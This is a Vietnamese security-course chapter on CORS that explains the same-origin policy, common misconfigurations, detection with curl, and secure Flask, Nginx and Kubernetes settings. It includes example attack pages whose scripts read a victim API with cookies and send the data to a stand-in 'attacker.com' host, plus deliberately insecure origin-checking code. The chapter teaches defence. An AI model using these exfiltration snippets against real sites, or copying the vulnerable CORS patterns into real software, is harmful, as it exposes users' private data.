Skip to main content

Chương 9: CORS — Cross-Origin Resource Sharing

Khái niệm

CORS (Cross-Origin Resource Sharing — Chia sẻ tài nguyên qua các origin) là cơ chế browser cho phép hoặc từ chối web pages truy cập tài nguyên từ domain khác.

Mức độ nguy hiểmal: Trung bình-Cao — CORS misconfiguration cho phép trang web độc hại đọc dữ liệu nhạy cảm từ API của bạn.

Trước khi hiểu CORS, cần hiểu Same-Origin Policy (Chính sách cùng nguồn gốc).


Same-Origin Policy (SOP)

SOP là security mechanism của browser: một trang web chỉ có thể đọc response từ cùng một origin.

Origin = scheme + hostname + port:

https://example.com:443 ← origin

https://example.com/api ← SAME origin (scheme, host, port giống)
https://example.com:8080/api ← DIFFERENT origin (port khác)
http://example.com/api ← DIFFERENT origin (scheme khác)
https://api.example.com/api ← DIFFERENT origin (subdomain khác)
https://other.com/api ← DIFFERENT origin (domain khác)

SOP cho phép:

  • Gửi cross-origin requests (GET/POST) — browser gửi nhưng JS không đọc được response
  • Load images, scripts, stylesheets từ cross-origin
  • Redirect cross-origin

SOP chặn:

  • JavaScript đọc response từ cross-origin fetch/XHR
  • Access cookies, localStorage của origin khác

CORS cho phép bypass SOP có kiểm soát

Server có thể cho phép specific origins truy cập bằng CORS headers:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization

Preflight Request (OPTIONS):

Với "non-simple" requests (PUT, DELETE, custom headers), browser gửi OPTIONS request trước:

OPTIONS /api/data HTTP/1.1
Origin: https://trusted-app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 3600

CORS Misconfigurations

1. Reflect Any Origin

# SAI: Reflect Origin header vô điều kiện
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # ← NGUY HIỂM!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response

Khai thác:

<!-- Trang của hacker: attacker.com -->
<script>
fetch('https://api.victim.com/api/sensitive-data', {
credentials: 'include' // Gửi kèm cookies của victim
})
.then(r => r.json())
.then(data => {
// Hacker đọc được data của victim!
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
</script>

2. Whitelist Validation Lỗi

# SAI: regex/string match không chặt chẽ
def is_allowed_origin(origin):
# Intended: chỉ allow example.com và subdomains
return 'example.com' in origin

# Bypass:
# attacker-example.com → chứa "example.com" → pass!
# example.com.attacker.com → chứa "example.com" → pass!
# ĐÚNG: exact match hoặc regex chặt chẽ
import re

ALLOWED_ORIGINS = {
"https://example.com",
"https://app.example.com",
"https://staging.example.com"
}

def is_allowed_origin(origin):
return origin in ALLOWED_ORIGINS

# Hoặc nếu cần regex:
ALLOWED_PATTERN = re.compile(r'^https://([a-z]+\.)?example\.com$')
def is_allowed_origin(origin):
return bool(ALLOWED_PATTERN.match(origin))

3. Null Origin Whitelist

# SAI: Allow null origin (thường dùng cho local dev)
if origin == 'null':
response.headers['Access-Control-Allow-Origin'] = 'null'

Tạo null origin:

<!-- Null origin được tạo bởi: sandboxed iframe, file://, data: URI -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.victim.com/sensitive', {credentials: 'include'})
.then(r => r.json())
.then(data => parent.postMessage(data, '*'));
</script>
">
</iframe>

Sandboxed iframe gửi requests với Origin: null. Nếu server accept null → hacker bypass.

4. Wildcard + Credentials (Impossible Combination)

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browser từ chối combination này — không cho phép gửi credentials với wildcard.

Tuy nhiên một số app cố bypass bằng cách reflect Origin khi request có credentials → tương đương wildcard nhưng bypass browser check.

5. Trusted Subdomain bị XSS

Access-Control-Allow-Origin: https://subdomain.example.com

Nếu subdomain.example.com bị XSS:

1. Hacker inject script vào subdomain.example.com
2. Script chạy với origin: subdomain.example.com
3. Fetch https://api.example.com/data → CORS pass (trusted origin)
4. Đọc sensitive data → gửi cho hacker

Kịch bản tấn công: API Data Theft

Target: api.bank.com - endpoint GET /api/balance trả về số dư tài khoản
CORS config: Reflect any origin với credentials

Hacker host trang tại: attacker.com/steal.html
<!-- attacker.com/steal.html -->
<!DOCTYPE html>
<html>
<body>
<script>
// Victim phải đã login bank.com trong cùng browser
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.bank.com/api/balance', true);
xhr.withCredentials = true; // Gửi kèm bank.com cookies

xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Gửi balance về cho hacker
fetch('https://attacker.com/collect?data=' +
encodeURIComponent(xhr.responseText));
}
};
xhr.send();
</script>
</body>
</html>
Attack flow:
1. Victim đã login bank.com
2. Hacker gửi link: attacker.com/steal.html (qua email, chat)
3. Victim click → page load → fetch đến api.bank.com
4. CORS: Origin: attacker.com → server reflect → response có ACAO: attacker.com
5. Browser cho JS đọc response → balance bị lộ
6. Gửi về attacker.com

Cách phát hiện

# Test CORS manually
curl -H "Origin: https://attacker.com" \
-H "Cookie: session=victim_token" \
https://api.example.com/sensitive \
-I

# Check response:
# Có Access-Control-Allow-Origin: https://attacker.com không?
# Có Access-Control-Allow-Credentials: true không?

# Test null origin
curl -H "Origin: null" https://api.example.com/sensitive -I

# Test subdomain bypass
curl -H "Origin: https://attacker-example.com" https://api.example.com/sensitive -I

Checklist:

□ Server reflect bất kỳ Origin nào?
□ Null origin được accept?
□ ACAO: * kết hợp với Allow-Credentials: true?
□ Whitelist validation có bypass được bằng prefix/suffix?
□ Trusted subdomains có bị XSS không?
□ HTTP origin được accept dù server là HTTPS?
□ Có endpoints nhạy cảm không cần auth nhưng return sensitive data?

Phòng chống

# Flask CORS implementation an toàn

ALLOWED_ORIGINS = frozenset([
"https://app.example.com",
"https://admin.example.com",
])

@app.after_request
def cors_handler(response):
origin = request.headers.get('Origin')

if origin and origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['Vary'] = 'Origin' # Quan trọng: cho cache biết response thay đổi theo Origin

return response

@app.route('/api/preflight', methods=['OPTIONS'])
def preflight():
response = make_response()
cors_handler(response)
response.headers['Access-Control-Max-Age'] = '3600'
return response, 204

Nginx CORS:

# Nginx CORS cho phép specific origins
map $http_origin $cors_origin {
default "";
"https://app.example.com" "https://app.example.com";
"https://admin.example.com" "https://admin.example.com";
}

server {
location /api/ {
if ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}

if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
add_header 'Access-Control-Max-Age' 3600;
return 204;
}
}
}

Góc nhìn DevOps

Kubernetes Ingress CORS:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
nginx.ingress.kubernetes.io/enable-cors: "true"
nginx.ingress.kubernetes.io/cors-allow-origin: "https://app.example.com"
nginx.ingress.kubernetes.io/cors-allow-credentials: "true"
nginx.ingress.kubernetes.io/cors-allow-methods: "GET, POST, PUT, DELETE"
nginx.ingress.kubernetes.io/cors-allow-headers: "Content-Type, Authorization"
# KHÔNG dùng: cors-allow-origin: "*" với credentials

Environment-specific CORS config:

# Khác nhau giữa environments
ALLOWED_ORIGINS = {
'production': [
'https://app.example.com',
'https://admin.example.com'
],
'staging': [
'https://staging.example.com',
'https://staging-admin.example.com'
],
'development': [
'http://localhost:3000',
'http://localhost:3001'
]
}

# Load từ environment variable
env = os.environ.get('APP_ENV', 'development')
allowed = ALLOWED_ORIGINS.get(env, [])

Tóm tắt

  • SOP ngăn JavaScript đọc cross-origin responses — CORS là cơ chế để selectively allow.
  • Reflect bất kỳ Origin nào kèm credentials = hoàn toàn bypass SOP.
  • Whitelist validation phải exact match — substring match bị bypass.
  • Null origin phải bị block trong production.
  • Dùng Vary: Origin header để cache hoạt động đúng.
  • Trusted subdomain bị XSS → CORS bị exploit.
  • Không bao giờ dùng Access-Control-Allow-Origin: * với Allow-Credentials: true.

Câu hỏi ôn tập

  1. Same-Origin Policy là gì và nó bảo vệ chống lại điều gì?
  2. Tại sao kết hợp Access-Control-Allow-Origin: *Allow-Credentials: true không hợp lệ?
  3. Null origin được tạo ra trong tình huống nào? Tại sao nguy hiểm?
  4. Nếu api.example.com có CORS whitelist là example.com (substring match), hacker bypass thế nào?
  5. Tại sao cần thêm Vary: Origin header trong CORS response?